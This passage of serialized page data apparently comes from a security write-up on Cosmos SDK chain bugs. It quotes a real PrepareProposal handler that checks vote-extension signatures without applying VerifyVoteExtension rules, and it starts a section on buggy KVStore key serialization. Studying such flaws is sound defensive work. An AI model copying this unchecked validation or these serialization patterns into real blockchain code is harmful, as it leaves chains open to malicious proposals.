attacks.",{"type":22,"tag":1289,"props":85604,"children":85606},{"id":85605},"real-world-examples-4",[85607],{"type":28,"value":78285},{"type":22,"tag":31,"props":85609,"children":85610},{},[85611,85613,85618,85620,85626,85628,85634],{"type":28,"value":85612},"An example of the bug we just described is shown here. ",{"type":22,"tag":114,"props":85614,"children":85616},{"className":85615},[],[85617],{"type":28,"value":84739},{"type":28,"value":85619}," only checks that each vote is properly signed by a validator in ",{"type":22,"tag":114,"props":85621,"children":85623},{"className":85622},[],[85624],{"type":28,"value":85625},"ValidateVoteExtension",{"type":28,"value":85627}," but does not verify it against the rules in ",{"type":22,"tag":114,"props":85629,"children":85631},{"className":85630},[],[85632],{"type":28,"value":85633},"VerifyVoteExtention.",{"type":28,"value":85635}," Therefore leaving the leader vulnerable to accepting malicious vote extensions in their proposals.",{"type":22,"tag":31,"props":85637,"children":85638},{},[85639],{"type":22,"tag":42,"props":85640,"children":85643},{"href":85641,"rel":85642},"https://github.com/sedaprotocol/seda-chain/blob/66c1b593fa81c7d443ab5fa82757b45e68597f49/app/abci/handlers.go#L180",[46],[85644],{"type":28,"value":78335},{"type":22,"tag":107,"props":85646,"children":85648},{"code":85647,"language":77760,"meta":7,"className":77761,"style":7},"func (h *Handlers) PrepareProposalHandler() sdk.PrepareProposalHandler {\n    return func(ctx sdk.Context, req *abcitypes.RequestPrepareProposal) (*abcitypes.ResponsePrepareProposal, error) {\n        ...\n        var injection []byte\n        if req.Height > ctx.ConsensusParams().Abci.VoteExtensionsEnableHeight && collectSigs {\n            //Fails to verify vote extensions with VerifyVoteExtension rules\n            err := baseapp.ValidateVoteExtensions(ctx, h.stakingKeeper, req.Height, ctx.ChainID(), req.LocalLastCommit)\n            if err != nil {\n                return nil, err\n            }\n            injection, err = json.Marshal(req.LocalLastCommit)\n            if err != nil {\n                h.logger.Error(\"failed to marshal extended votes\", \"err\", err)\n                return nil, err\n            }\n            ...\n        }\n        defaultRes, err := h.defaultPrepareProposal(ctx, req)\n        ...\n        proposalTxs := defaultRes.Txs\n        if injection != nil {\n            proposalTxs = append([][]byte{injection}, proposalTxs...)\n            h.logger.Debug(\"injected local last commit\", \"height\", req.Height)\n        }\n        return &abcitypes.ResponsePrepareProposal{\n            Txs: proposalTxs,\n        }, nil\n    }\n}\n",[85649],{"type":22,"tag":114,"props":85650,"children":85651},{"__ignoreMap":7},[85652,85706,85797,85804,85825,85892,85900,86005,86028,86047,86054,86108,86131,86186,86205,86212,86219,86226,86280,86287,86313,86336,86388,86450,86457,86484,86504,86516,86523],{"type":22,"tag":118,"props":85653,"children":85654},{"class":120,"line":121},[85655,85659,85663,85668,85672,85677,85681,85686,85690,85694,85698,85702],{"type":22,"tag":118,"props":85656,"children":85657},{"style":146},[85658],{"type":28,"value":77896},{"type":22,"tag":118,"props":85660,"children":85661},{"style":125},[85662],{"type":28,"value":842},{"type":22,"tag":118,"props":85664,"children":85665},{"style":204},[85666],{"type":28,"value":85667},"h ",{"type":22,"tag":118,"props":85669,"children":85670},{"style":210},[85671],{"type":28,"value":671},{"type":22,"tag":118,"props":85673,"children":85674},{"style":131},[85675],{"type":28,"value":85676},"Handlers",{"type":22,"tag":118,"props":85678,"children":85679},{"style":125},[85680],{"type":28,"value":588},{"type":22,"tag":118,"props":85682,"children":85683},{"style":532},[85684],{"type":28,"value":85685},"PrepareProposalHandler",{"type":22,"tag":118,"props":85687,"children":85688},{"style":125},[85689],{"type":28,"value":2182},{"type":22,"tag":118,"props":85691,"children":85692},{"style":131},[85693],{"type":28,"value":80326},{"type":22,"tag":118,"props":85695,"children":85696},{"style":125},[85697],{"type":28,"value":292},{"type":22,"tag":118,"props":85699,"children":85700},{"style":131},[85701],{"type":28,"value":85685},{"type":22,"tag":118,"props":85703,"children":85704},{"style":125},[85705],{"type":28,"value":1474},{"type":22,"tag":118,"props":85707,"children":85708},{"class":120,"line":142},[85709,85713,85717,85721,85725,85729,85733,85737,85741,85746,85750,85755,85759,85764,85768,85772,85776,85780,85785,85789,85793],{"type":22,"tag":118,"props":85710,"children":85711},{"style":1480},[85712],{"type":28,"value":18954},{"type":22,"tag":118,"props":85714,"children":85715},{"style":146},[85716],{"type":28,"value":81605},{"type":22,"tag":118,"props":85718,"children":85719},{"style":125},[85720],{"type":28,"value":540},{"type":22,"tag":118,"props":85722,"children":85723},{"style":204},[85724],{"type":28,"value":545},{"type":22,"tag":118,"props":85726,"children":85727},{"style":131},[85728],{"type":28,"value":80237},{"type":22,"tag":118,"props":85730,"children":85731},{"style":125},[85732],{"type":28,"value":292},{"type":22,"tag":118,"props":85734,"children":85735},{"style":131},[85736],{"type":28,"value":77945},{"type":22,"tag":118,"props":85738,"children":85739},{"style":125},[85740],{"type":28,"value":231},{"type":22,"tag":118,"props":85742,"children":85743},{"style":204},[85744],{"type":28,"value":85745},"req",{"type":22,"tag":118,"props":85747,"children":85748},{"style":210},[85749],{"type":28,"value":11815},{"type":22,"tag":118,"props":85751,"children":85752},{"style":131},[85753],{"type":28,"value":85754},"abcitypes",{"type":22,"tag":118,"props":85756,"children":85757},{"style":125},[85758],{"type":28,"value":292},{"type":22,"tag":118,"props":85760,"children":85761},{"style":131},[85762],{"type":28,"value":85763},"RequestPrepareProposal",{"type":22,"tag":118,"props":85765,"children":85766},{"style":125},[85767],{"type":28,"value":77978},{"type":22,"tag":118,"props":85769,"children":85770},{"style":210},[85771],{"type":28,"value":671},{"type":22,"tag":118,"props":85773,"children":85774},{"style":131},[85775],{"type":28,"value":85754},{"type":22,"tag":118,"props":85777,"children":85778},{"style":125},[85779],{"type":28,"value":292},{"type":22,"tag":118,"props":85781,"children":85782},{"style":131},[85783],{"type":28,"value":85784},"ResponsePrepareProposal",{"type":22,"tag":118,"props":85786,"children":85787},{"style":125},[85788],{"type":28,"value":231},{"type":22,"tag":118,"props":85790,"children":85791},{"style":131},[85792],{"type":28,"value":16841},{"type":22,"tag":118,"props":85794,"children":85795},{"style":125},[85796],{"type":28,"value":16783},{"type":22,"tag":118,"props":85798,"children":85799},{"class":120,"line":177},[85800],{"type":22,"tag":118,"props":85801,"children":85802},{"style":210},[85803],{"type":28,"value":83438},{"type":22,"tag":118,"props":85805,"children":85806},{"class":120,"line":195},[85807,85811,85816,85820],{"type":22,"tag":118,"props":85808,"children":85809},{"style":146},[85810],{"type":28,"value":81714},{"type":22,"tag":118,"props":85812,"children":85813},{"style":204},[85814],{"type":28,"value":85815}," injection",{"type":22,"tag":118,"props":85817,"children":85818},{"style":125},[85819],{"type":28,"value":77823},{"type":22,"tag":118,"props":85821,"children":85822},{"style":131},[85823],{"type":28,"value":85824},"byte\n",{"type":22,"tag":118,"props":85826,"children":85827},{"class":120,"line":244},[85828,85832,85837,85841,85845,85849,85853,85857,85861,85865,85870,85874,85879,85883,85888],{"type":22,"tag":118,"props":85829,"children":85830},{"style":1480},[85831],{"type":28,"value":5293},{"type":22,"tag":118,"props":85833,"children":85834},{"style":204},[85835],{"type":28,"value":85836}," req",{"type":22,"tag":118,"props":85838,"children":85839},{"style":125},[85840],{"type":28,"value":292},{"type":22,"tag":118,"props":85842,"children":85843},{"style":204},[85844],{"type":28,"value":85075},{"type":22,"tag":118,"props":85846,"children":85847},{"style":210},[85848],{"type":28,"value":16176},{"type":22,"tag":118,"props":85850,"children":85851},{"style":204},[85852],{"type":28,"value":639},{"type":22,"tag":118,"props":85854,"children":85855},{"style":125},[85856],{"type":28,"value":292},{"type":22,"tag":118,"props":85858,"children":85859},{"style":532},[85860],{"type":28,"value":85276},{"type":22,"tag":118,"props":85862,"children":85863},{"style":125},[85864],{"type":28,"value":32106},{"type":22,"tag":118,"props":85866,"children":85867},{"style":204},[85868],{"type":28,"value":85869},"Abci",{"type":22,"tag":118,"props":85871,"children":85872},{"style":125},[85873],{"type":28,"value":292},{"type":22,"tag":118,"props":85875,"children":85876},{"style":204},[85877],{"type":28,"value":85878},"VoteExtensionsEnableHeight",{"type":22,"tag":118,"props":85880,"children":85881},{"style":210},[85882],{"type":28,"value":1789},{"type":22,"tag":118,"props":85884,"children":85885},{"style":204},[85886],{"type":28,"value":85887}," collectSigs",{"type":22,"tag":118,"props":85889,"children":85890},{"style":125},[85891],{"type":28,"value":1474},{"type":22,"tag":118,"props":85893,"children":85894},{"class":120,"line":253},[85895],{"type":22,"tag":118,"props":85896,"children":85897},{"style":257},[85898],{"type":28,"value":85899},"            //Fails to verify vote extensions with VerifyVoteExtension rules\n",{"type":22,"tag":118,"props":85901,"children":85902},{"class":120,"line":263},[85903,85907,85911,85916,85920,85925,85929,85933,85937,85942,85946,85951,85955,85959,85963,85967,85971,85975,85979,85984,85988,85992,85996,86001],{"type":22,"tag":118,"props":85904,"children":85905},{"style":204},[85906],{"type":28,"value":83932},{"type":22,"tag":118,"props":85908,"children":85909},{"style":210},[85910],{"type":28,"value":78012},{"type":22,"tag":118,"props":85912,"children":85913},{"style":204},[85914],{"type":28,"value":85915}," baseapp",{"type":22,"tag":118,"props":85917,"children":85918},{"style":125},[85919],{"type":28,"value":292},{"type":22,"tag":118,"props":85921,"children":85922},{"style":532},[85923],{"type":28,"value":85924},"ValidateVoteExtensions",{"type":22,"tag":118,"props":85926,"children":85927},{"style":125},[85928],{"type":28,"value":540},{"type":22,"tag":118,"props":85930,"children":85931},{"style":204},[85932],{"type":28,"value":545},{"type":22,"tag":118,"props":85934,"children":85935},{"style":125},[85936],{"type":28,"value":231},{"type":22,"tag":118,"props":85938,"children":85939},{"style":204},[85940],{"type":28,"value":85941},"h",{"type":22,"tag":118,"props":85943,"children":85944},{"style":125},[85945],{"type":28,"value":292},{"type":22,"tag":118,"props":85947,"children":85948},{"style":204},[85949],{"type":28,"value":85950},"stakingKeeper",{"type":22,"tag":118,"props":85952,"children":85953},{"style":125},[85954],{"type":28,"value":231},{"type":22,"tag":118,"props":85956,"children":85957},{"style":204},[85958],{"type":28,"value":85745},{"type":22,"tag":118,"props":85960,"children":85961},{"style":125},[85962],{"type":28,"value":292},{"type":22,"tag":118,"props":85964,"children":85965},{"style":204},[85966],{"type":28,"value":85075},{"type":22,"tag":118,"props":85968,"children":85969},{"style":125},[85970],{"type":28,"value":231},{"type":22,"tag":118,"props":85972,"children":85973},{"style":204},[85974],{"type":28,"value":545},{"type":22,"tag":118,"props":85976,"children":85977},{"style":125},[85978],{"type":28,"value":292},{"type":22,"tag":118,"props":85980,"children":85981},{"style":532},[85982],{"type":28,"value":85983},"ChainID",{"type":22,"tag":118,"props":85985,"children":85986},{"style":125},[85987],{"type":28,"value":20341},{"type":22,"tag":118,"props":85989,"children":85990},{"style":204},[85991],{"type":28,"value":85745},{"type":22,"tag":118,"props":85993,"children":85994},{"style":125},[85995],{"type":28,"value":292},{"type":22,"tag":118,"props":85997,"children":85998},{"style":204},[85999],{"type":28,"value":86000},"LocalLastCommit",{"type":22,"tag":118,"props":86002,"children":86003},{"style":125},[86004],{"type":28,"value":3665},{"type":22,"tag":118,"props":86006,"children":86007},{"class":120,"line":318},[86008,86012,86016,86020,86024],{"type":22,"tag":118,"props":86009,"children":86010},{"style":1480},[86011],{"type":28,"value":60742},{"type":22,"tag":118,"props":86013,"children":86014},{"style":204},[86015],{"type":28,"value":50461},{"type":22,"tag":118,"props":86017,"children":86018},{"style":210},[86019],{"type":28,"value":66328},{"type":22,"tag":118,"props":86021,"children":86022},{"style":146},[86023],{"type":28,"value":83514},{"type":22,"tag":118,"props":86025,"children":86026},{"style":125},[86027],{"type":28,"value":1474},{"type":22,"tag":118,"props":86029,"children":86030},{"class":120,"line":351},[86031,86035,86039,86043],{"type":22,"tag":118,"props":86032,"children":86033},{"style":1480},[86034],{"type":28,"value":62669},{"type":22,"tag":118,"props":86036,"children":86037},{"style":146},[86038],{"type":28,"value":83514},{"type":22,"tag":118,"props":86040,"children":86041},{"style":125},[86042],{"type":28,"value":231},{"type":22,"tag":118,"props":86044,"children":86045},{"style":204},[86046],{"type":28,"value":85235},{"type":22,"tag":118,"props":86048,"children":86049},{"class":120,"line":359},[86050],{"type":22,"tag":118,"props":86051,"children":86052},{"style":125},[86053],{"type":28,"value":1827},{"type":22,"tag":118,"props":86055,"children":86056},{"class":120,"line":368},[86057,86062,86066,86070,86074,86079,86083,86088,86092,86096,86100,86104],{"type":22,"tag":118,"props":86058,"children":86059},{"style":204},[86060],{"type":28,"value":86061},"            injection",{"type":22,"tag":118,"props":86063,"children":86064},{"style":125},[86065],{"type":28,"value":231},{"type":22,"tag":118,"props":86067,"children":86068},{"style":204},[86069],{"type":28,"value":50360},{"type":22,"tag":118,"props":86071,"children":86072},{"style":210},[86073],{"type":28,"value":837},{"type":22,"tag":118,"props":86075,"children":86076},{"style":204},[86077],{"type":28,"value":86078}," json",{"type":22,"tag":118,"props":86080,"children":86081},{"style":125},[86082],{"type":28,"value":292},{"type":22,"tag":118,"props":86084,"children":86085},{"style":532},[86086],{"type":28,"value":86087},"Marshal",{"type":22,"tag":118,"props":86089,"children":86090},{"style":125},[86091],{"type":28,"value":540},{"type":22,"tag":118,"props":86093,"children":86094},{"style":204},[86095],{"type":28,"value":85745},{"type":22,"tag":118,"props":86097,"children":86098},{"style":125},[86099],{"type":28,"value":292},{"type":22,"tag":118,"props":86101,"children":86102},{"style":204},[86103],{"type":28,"value":86000},{"type":22,"tag":118,"props":86105,"children":86106},{"style":125},[86107],{"type":28,"value":3665},{"type":22,"tag":118,"props":86109,"children":86110},{"class":120,"line":384},[86111,86115,86119,86123,86127],{"type":22,"tag":118,"props":86112,"children":86113},{"style":1480},[86114],{"type":28,"value":60742},{"type":22,"tag":118,"props":86116,"children":86117},{"style":204},[86118],{"type":28,"value":50461},{"type":22,"tag":118,"props":86120,"children":86121},{"style":210},[86122],{"type":28,"value":66328},{"type":22,"tag":118,"props":86124,"children":86125},{"style":146},[86126],{"type":28,"value":83514},{"type":22,"tag":118,"props":86128,"children":86129},{"style":125},[86130],{"type":28,"value":1474},{"type":22,"tag":118,"props":86132,"children":86133},{"class":120,"line":417},[86134,86139,86143,86148,86152,86156,86160,86165,86169,86174,86178,86182],{"type":22,"tag":118,"props":86135,"children":86136},{"style":204},[86137],{"type":28,"value":86138},"                h",{"type":22,"tag":118,"props":86140,"children":86141},{"style":125},[86142],{"type":28,"value":292},{"type":22,"tag":118,"props":86144,"children":86145},{"style":204},[86146],{"type":28,"value":86147},"logger",{"type":22,"tag":118,"props":86149,"children":86150},{"style":125},[86151],{"type":28,"value":292},{"type":22,"tag":118,"props":86153,"children":86154},{"style":532},[86155],{"type":28,"value":39339},{"type":22,"tag":118,"props":86157,"children":86158},{"style":125},[86159],{"type":28,"value":540},{"type":22,"tag":118,"props":86161,"children":86162},{"style":1866},[86163],{"type":28,"value":86164},"\"failed to marshal extended votes\"",{"type":22,"tag":118,"props":86166,"children":86167},{"style":125},[86168],{"type":28,"value":231},{"type":22,"tag":118,"props":86170,"children":86171},{"style":1866},[86172],{"type":28,"value":86173},"\"err\"",{"type":22,"tag":118,"props":86175,"children":86176},{"style":125},[86177],{"type":28,"value":231},{"type":22,"tag":118,"props":86179,"children":86180},{"style":204},[86181],{"type":28,"value":50360},{"type":22,"tag":118,"props":86183,"children":86184},{"style":125},[86185],{"type":28,"value":3665},{"type":22,"tag":118,"props":86187,"children":86188},{"class":120,"line":425},[86189,86193,86197,86201],{"type":22,"tag":118,"props":86190,"children":86191},{"style":1480},[86192],{"type":28,"value":62669},{"type":22,"tag":118,"props":86194,"children":86195},{"style":146},[86196],{"type":28,"value":83514},{"type":22,"tag":118,"props":86198,"children":86199},{"style":125},[86200],{"type":28,"value":231},{"type":22,"tag":118,"props":86202,"children":86203},{"style":204},[86204],{"type":28,"value":85235},{"type":22,"tag":118,"props":86206,"children":86207},{"class":120,"line":441},[86208],{"type":22,"tag":118,"props":86209,"children":86210},{"style":125},[86211],{"type":28,"value":1827},{"type":22,"tag":118,"props":86213,"children":86214},{"class":120,"line":475},[86215],{"type":22,"tag":118,"props":86216,"children":86217},{"style":210},[86218],{"type":28,"value":84114},{"type":22,"tag":118,"props":86220,"children":86221},{"class":120,"line":484},[86222],{"type":22,"tag":118,"props":86223,"children":86224},{"style":125},[86225],{"type":28,"value":1835},{"type":22,"tag":118,"props":86227,"children":86228},{"class":120,"line":492},[86229,86234,86238,86242,86246,86251,86255,86260,86264,86268,86272,86276],{"type":22,"tag":118,"props":86230,"children":86231},{"style":204},[86232],{"type":28,"value":86233},"        defaultRes",{"type":22,"tag":118,"props":86235,"children":86236},{"style":125},[86237],{"type":28,"value":231},{"type":22,"tag":118,"props":86239,"children":86240},{"style":204},[86241],{"type":28,"value":50360},{"type":22,"tag":118,"props":86243,"children":86244},{"style":210},[86245],{"type":28,"value":78012},{"type":22,"tag":118,"props":86247,"children":86248},{"style":204},[86249],{"type":28,"value":86250}," h",{"type":22,"tag":118,"props":86252,"children":86253},{"style":125},[86254],{"type":28,"value":292},{"type":22,"tag":118,"props":86256,"children":86257},{"style":532},[86258],{"type":28,"value":86259},"defaultPrepareProposal",{"type":22,"tag":118,"props":86261,"children":86262},{"style":125},[86263],{"type":28,"value":540},{"type":22,"tag":118,"props":86265,"children":86266},{"style":204},[86267],{"type":28,"value":545},{"type":22,"tag":118,"props":86269,"children":86270},{"style":125},[86271],{"type":28,"value":231},{"type":22,"tag":118,"props":86273,"children":86274},{"style":204},[86275],{"type":28,"value":85745},{"type":22,"tag":118,"props":86277,"children":86278},{"style":125},[86279],{"type":28,"value":3665},{"type":22,"tag":118,"props":86281,"children":86282},{"class":120,"line":501},[86283],{"type":22,"tag":118,"props":86284,"children":86285},{"style":210},[86286],{"type":28,"value":83438},{"type":22,"tag":118,"props":86288,"children":86289},{"class":120,"line":519},[86290,86295,86299,86304,86308],{"type":22,"tag":118,"props":86291,"children":86292},{"style":204},[86293],{"type":28,"value":86294},"        proposalTxs",{"type":22,"tag":118,"props":86296,"children":86297},{"style":210},[86298],{"type":28,"value":78012},{"type":22,"tag":118,"props":86300,"children":86301},{"style":204},[86302],{"type":28,"value":86303}," defaultRes",{"type":22,"tag":118,"props":86305,"children":86306},{"style":125},[86307],{"type":28,"value":292},{"type":22,"tag":118,"props":86309,"children":86310},{"style":204},[86311],{"type":28,"value":86312},"Txs\n",{"type":22,"tag":118,"props":86314,"children":86315},{"class":120,"line":606},[86316,86320,86324,86328,86332],{"type":22,"tag":118,"props":86317,"children":86318},{"style":1480},[86319],{"type":28,"value":5293},{"type":22,"tag":118,"props":86321,"children":86322},{"style":204},[86323],{"type":28,"value":85815},{"type":22,"tag":118,"props":86325,"children":86326},{"style":210},[86327],{"type":28,"value":66328},{"type":22,"tag":118,"props":86329,"children":86330},{"style":146},[86331],{"type":28,"value":83514},{"type":22,"tag":118,"props":86333,"children":86334},{"style":125},[86335],{"type":28,"value":1474},{"type":22,"tag":118,"props":86337,"children":86338},{"class":120,"line":615},[86339,86344,86348,86352,86357,86362,86366,86371,86375,86380,86384],{"type":22,"tag":118,"props":86340,"children":86341},{"style":204},[86342],{"type":28,"value":86343},"            proposalTxs",{"type":22,"tag":118,"props":86345,"children":86346},{"style":210},[86347],{"type":28,"value":837},{"type":22,"tag":118,"props":86349,"children":86350},{"style":532},[86351],{"type":28,"value":79292},{"type":22,"tag":118,"props":86353,"children":86354},{"style":125},[86355],{"type":28,"value":86356},"([][]",{"type":22,"tag":118,"props":86358,"children":86359},{"style":131},[86360],{"type":28,"value":86361},"byte",{"type":22,"tag":118,"props":86363,"children":86364},{"style":125},[86365],{"type":28,"value":78214},{"type":22,"tag":118,"props":86367,"children":86368},{"style":204},[86369],{"type":28,"value":86370},"injection",{"type":22,"tag":118,"props":86372,"children":86373},{"style":125},[86374],{"type":28,"value":78233},{"type":22,"tag":118,"props":86376,"children":86377},{"style":204},[86378],{"type":28,"value":86379},"proposalTxs",{"type":22,"tag":118,"props":86381,"children":86382},{"style":210},[86383],{"type":28,"value":11589},{"type":22,"tag":118,"props":86385,"children":86386},{"style":125},[86387],{"type":28,"value":3665},{"type":22,"tag":118,"props":86389,"children":86390},{"class":120,"line":685},[86391,86396,86400,86404,86408,86412,86416,86421,86425,86430,86434,86438,86442,86446],{"type":22,"tag":118,"props":86392,"children":86393},{"style":204},[86394],{"type":28,"value":86395},"            h",{"type":22,"tag":118,"props":86397,"children":86398},{"style":125},[86399],{"type":28,"value":292},{"type":22,"tag":118,"props":86401,"children":86402},{"style":204},[86403],{"type":28,"value":86147},{"type":22,"tag":118,"props":86405,"children":86406},{"style":125},[86407],{"type":28,"value":292},{"type":22,"tag":118,"props":86409,"children":86410},{"style":532},[86411],{"type":28,"value":26655},{"type":22,"tag":118,"props":86413,"children":86414},{"style":125},[86415],{"type":28,"value":540},{"type":22,"tag":118,"props":86417,"children":86418},{"style":1866},[86419],{"type":28,"value":86420},"\"injected local last commit\"",{"type":22,"tag":118,"props":86422,"children":86423},{"style":125},[86424],{"type":28,"value":231},{"type":22,"tag":118,"props":86426,"children":86427},{"style":1866},[86428],{"type":28,"value":86429},"\"height\"",{"type":22,"tag":118,"props":86431,"children":86432},{"style":125},[86433],{"type":28,"value":231},{"type":22,"tag":118,"props":86435,"children":86436},{"style":204},[86437],{"type":28,"value":85745},{"type":22,"tag":118,"props":86439,"children":86440},{"style":125},[86441],{"type":28,"value":292},{"type":22,"tag":118,"props":86443,"children":86444},{"style":204},[86445],{"type":28,"value":85075},{"type":22,"tag":118,"props":86447,"children":86448},{"style":125},[86449],{"type":28,"value":3665},{"type":22,"tag":118,"props":86451,"children":86452},{"class":120,"line":699},[86453],{"type":22,"tag":118,"props":86454,"children":86455},{"style":125},[86456],{"type":28,"value":1835},{"type":22,"tag":118,"props":86458,"children":86459},{"class":120,"line":729},[86460,86464,86468,86472,86476,86480],{"type":22,"tag":118,"props":86461,"children":86462},{"style":1480},[86463],{"type":28,"value":2223},{"type":22,"tag":118,"props":86465,"children":86466},{"style":210},[86467],{"type":28,"value":1430},{"type":22,"tag":118,"props":86469,"children":86470},{"style":131},[86471],{"type":28,"value":85754},{"type":22,"tag":118,"props":86473,"children":86474},{"style":125},[86475],{"type":28,"value":292},{"type":22,"tag":118,"props":86477,"children":86478},{"style":131},[86479],{"type":28,"value":85784},{"type":22,"tag":118,"props":86481,"children":86482},{"style":125},[86483],{"type":28,"value":12879},{"type":22,"tag":118,"props":86485,"children":86486},{"class":120,"line":771},[86487,86492,86496,86500],{"type":22,"tag":118,"props":86488,"children":86489},{"style":204},[86490],{"type":28,"value":86491},"            Txs",{"type":22,"tag":118,"props":86493,"children":86494},{"style":125},[86495],{"type":28,"value":1319},{"type":22,"tag":118,"props":86497,"children":86498},{"style":204},[86499],{"type":28,"value":86379},{"type":22,"tag":118,"props":86501,"children":86502},{"style":125},[86503],{"type":28,"value":782},{"type":22,"tag":118,"props":86505,"children":86506},{"class":120,"line":785},[86507,86512],{"type":22,"tag":118,"props":86508,"children":86509},{"style":125},[86510],{"type":28,"value":86511},"        }, ",{"type":22,"tag":118,"props":86513,"children":86514},{"style":146},[86515],{"type":28,"value":78238},{"type":22,"tag":118,"props":86517,"children":86518},{"class":120,"line":804},[86519],{"type":22,"tag":118,"props":86520,"children":86521},{"style":125},[86522],{"type":28,"value":1254},{"type":22,"tag":118,"props":86524,"children":86525},{"class":120,"line":812},[86526],{"type":22,"tag":118,"props":86527,"children":86528},{"style":125},[86529],{"type":28,"value":481},{"type":22,"tag":31,"props":86531,"children":86532},{},[86533,86535,86540,86541,86546,86548,86555],{"type":28,"value":86534},"Aside from the more complex variant, pure validation mismatches are also still prevalent despite being a well-known attack surface. This stems from ",{"type":22,"tag":114,"props":86536,"children":86538},{"className":86537},[],[86539],{"type":28,"value":84904},{"type":28,"value":842},{"type":22,"tag":114,"props":86542,"children":86544},{"className":86543},[],[86545],{"type":28,"value":84972},{"type":28,"value":86547},") rejections by various obscure checks hidden within CometBTF. For example, this commit fixes a bug where ",{"type":22,"tag":42,"props":86549,"children":86552},{"href":86550,"rel":86551},"https://github.com/babylonlabs-io/babylon/commit/aa827f875a16ebf85efee5d9a6c8c4e76dbfb7bd#diff-77659089b31367690393a968f4bfacfd1bf960ed300965729df216a6fb612699",[46],[86553],{"type":28,"value":86554},"PrepareProposal may return a Proposal larger than MaxTxBytes",{"type":28,"value":86556},", which will later get rejected by CometBTF.",{"type":22,"tag":23,"props":86558,"children":86560},{"id":86559},"the-keymaker",[86561],{"type":28,"value":86562},"The Keymaker",{"type":22,"tag":31,"props":86564,"children":86565},{},[86566,86568,86574,86576,86581],{"type":28,"value":86567},"States (persistent storage) are another crucial component in state machines. Cosmos relies on a custom key-value storage called",{"type":22,"tag":114,"props":86569,"children":86571},{"className":86570},[],[86572],{"type":28,"value":86573},"KVStore",{"type":28,"value":86575}," to handle states efficently. In ",{"type":22,"tag":114,"props":86577,"children":86579},{"className":86578},[],[86580],{"type":28,"value":86573},{"type":28,"value":86582},", keys and values are both represented as simple byte slices, requiring developers to handle serialization and deserialization of more intricate structures when working with storage.",{"type":22,"tag":31,"props":86584,"children":86585},{},[86586],{"type":28,"value":86587},"The complexity behind proper data serialization often results in flawed code and security vulnerabilities. Below, we showcase relatively simple (but buggy) implementations and progressively address and mitigate the issues until the code is deemed safe from exploits.",{"type":22,"tag":31,"props":86589,"children":86590},{},[86591,86593,86599],{"type":28,"value":86592},"Let's start by considering a scenario where we need to store the ",{"type":22,"tag":114,"props":86594,"children":86596},{"className":86595},[],[86597],{"type":28,"value":86598},"positionMap",{"type":28,"value":86600}," structure mentioned below into storage.",{"type":22,"tag":107,"props":86602,"children":86604},{"code":86603,"language":77760,"meta":7,"className":77761,"style":7},"type VaultId uint64\ntype Username string\ntype PositionName string\ntype Position struct {\n    data []byte\n}\ntype PositionMap :=\n    map[VaultId]map[Username]map[PositionName]Position\n",[86605],{"type":22,"tag":114,"props":86606,"children":86607},{"__ignoreMap":7},[86608,86624,86641,86657,86676,86691,86698,86715],{"type":22,"tag":118,"props":86609,"children":86610},{"class":120,"line":121},[86611,86615,86620],{"type":22,"tag":118,"props":86612,"children":86613},{"style":146},[86614],{"type":28,"value":34695},{"type":22,"tag":118,"props":86616,"children":86617},{"style":131},[86618],{"type":28,"value":86619}," VaultId",{"type":22,"tag":118,"props":86621,"children":86622},{"style":131},[86623],{"type":28,"value":77798},{"type":22,"tag":118,"props":86625,"children":86626},{"class":120,"line":142},[86627,86631,86636],{"type":22,"tag":118,"props":86628,"children":86629},{"style":146},[86630],{"type":28,"value":34695},{"type":22,"tag":118,"props":86632,"children":86633},{"style":131},[86634],{"type":28,"value":86635}," Username",{"type":22,"tag":118,"props":86637,"children":86638},{"style":131},[86639],{"type":28,"value":86640}," string\n",{"type":22,"tag":118,"props":86642,"children":86643},{"class":120,"line":177},[86644,86648,86653],{"type":22,"tag":118,"props":86645,"children":86646},{"style":146},[86647],{"type":28,"value":34695},{"type":22,"tag":118,"props":86649,"children":86650},{"style":131},[86651],{"type":28,"value":86652}," PositionName",{"type":22,"tag":118,"props":86654,"children":86655},{"style":131},[86656],{"type":28,"value":86640},{"type":22,"tag":118,"props":86658,"children":86659},{"class":120,"line":195},[86660,86664,86668,86672],{"type":22,"tag":118,"props":86661,"children":86662},{"style":146},[86663],{"type":28,"value":34695},{"type":22,"tag":118,"props":86665,"children":86666},{"style":131},[86667],{"type":28,"value":9431},{"type":22,"tag":118,"props":86669,"children":86670},{"style":146},[86671],{"type":28,"value":154},{"type":22,"tag":118,"props":86673,"children":86674},{"style":125},[86675],{"type":28,"value":1474},{"type":22,"tag":118,"props":86677,"children":86678},{"class":120,"line":244},[86679,86683,86687],{"type":22,"tag":118,"props":86680,"children":86681},{"style":204},[86682],{"type":28,"value":45169},{"type":22,"tag":118,"props":86684,"children":86685},{"style":125},[86686],{"type":28,"value":77823},{"type":22,"tag":118,"props":86688,"children":86689},{"style":131},[86690],{"type":28,"value":85824},{"type":22,"tag":118,"props":86692,"children":86693},{"class":120,"line":253},[86694],{"type":22,"tag":118,"props":86695,"children":86696},{"style":125},[86697],{"type":28,"value":481},{"type":22,"tag":118,"props":86699,"children":86700},{"class":120,"line":263},[86701,86705,86710],{"type":22,"tag":118,"props":86702,"children":86703},{"style":146},[86704],{"type":28,"value":34695},{"type":22,"tag":118,"props":86706,"children":86707},{"style":131},[86708],{"type":28,"value":86709}," PositionMap",{"type":22,"tag":118,"props":86711,"children":86712},{"style":210},[86713],{"type":28,"value":86714}," :=\n",{"type":22,"tag":118,"props":86716,"children":86717},{"class":120,"line":318},[86718,86723,86727,86732,86736,86740,86744,86749,86753,86757,86761,86766,86770],{"type":22,"tag":118,"props":86719,"children":86720},{"style":146},[86721],{"type":28,"value":86722},"    map",{"type":22,"tag":118,"props":86724,"children":86725},{"style":125},[86726],{"type":28,"value":5746},{"type":22,"tag":118,"props":86728,"children":86729},{"style":131},[86730],{"type":28,"value":86731},"VaultId",{"type":22,"tag":118,"props":86733,"children":86734},{"style":125},[86735],{"type":28,"value":17386},{"type":22,"tag":118,"props":86737,"children":86738},{"style":146},[86739],{"type":28,"value":3595},{"type":22,"tag":118,"props":86741,"children":86742},{"style":125},[86743],{"type":28,"value":5746},{"type":22,"tag":118,"props":86745,"children":86746},{"style":131},[86747],{"type":28,"value":86748},"Username",{"type":22,"tag":118,"props":86750,"children":86751},{"style":125},[86752],{"type":28,"value":17386},{"type":22,"tag":118,"props":86754,"children":86755},{"style":146},[86756],{"type":28,"value":3595},{"type":22,"tag":118,"props":86758,"children":86759},{"style":125},[86760],{"type":28,"value":5746},{"type":22,"tag":118,"props":86762,"children":86763},{"style":131},[86764],{"type":28,"value":86765},"PositionName",{"type":22,"tag":118,"props":86767,"children":86768},{"style":125},[86769],{"type":28,"value":17386},{"type":22,"tag":118,"props":86771,"children":86772},{"styl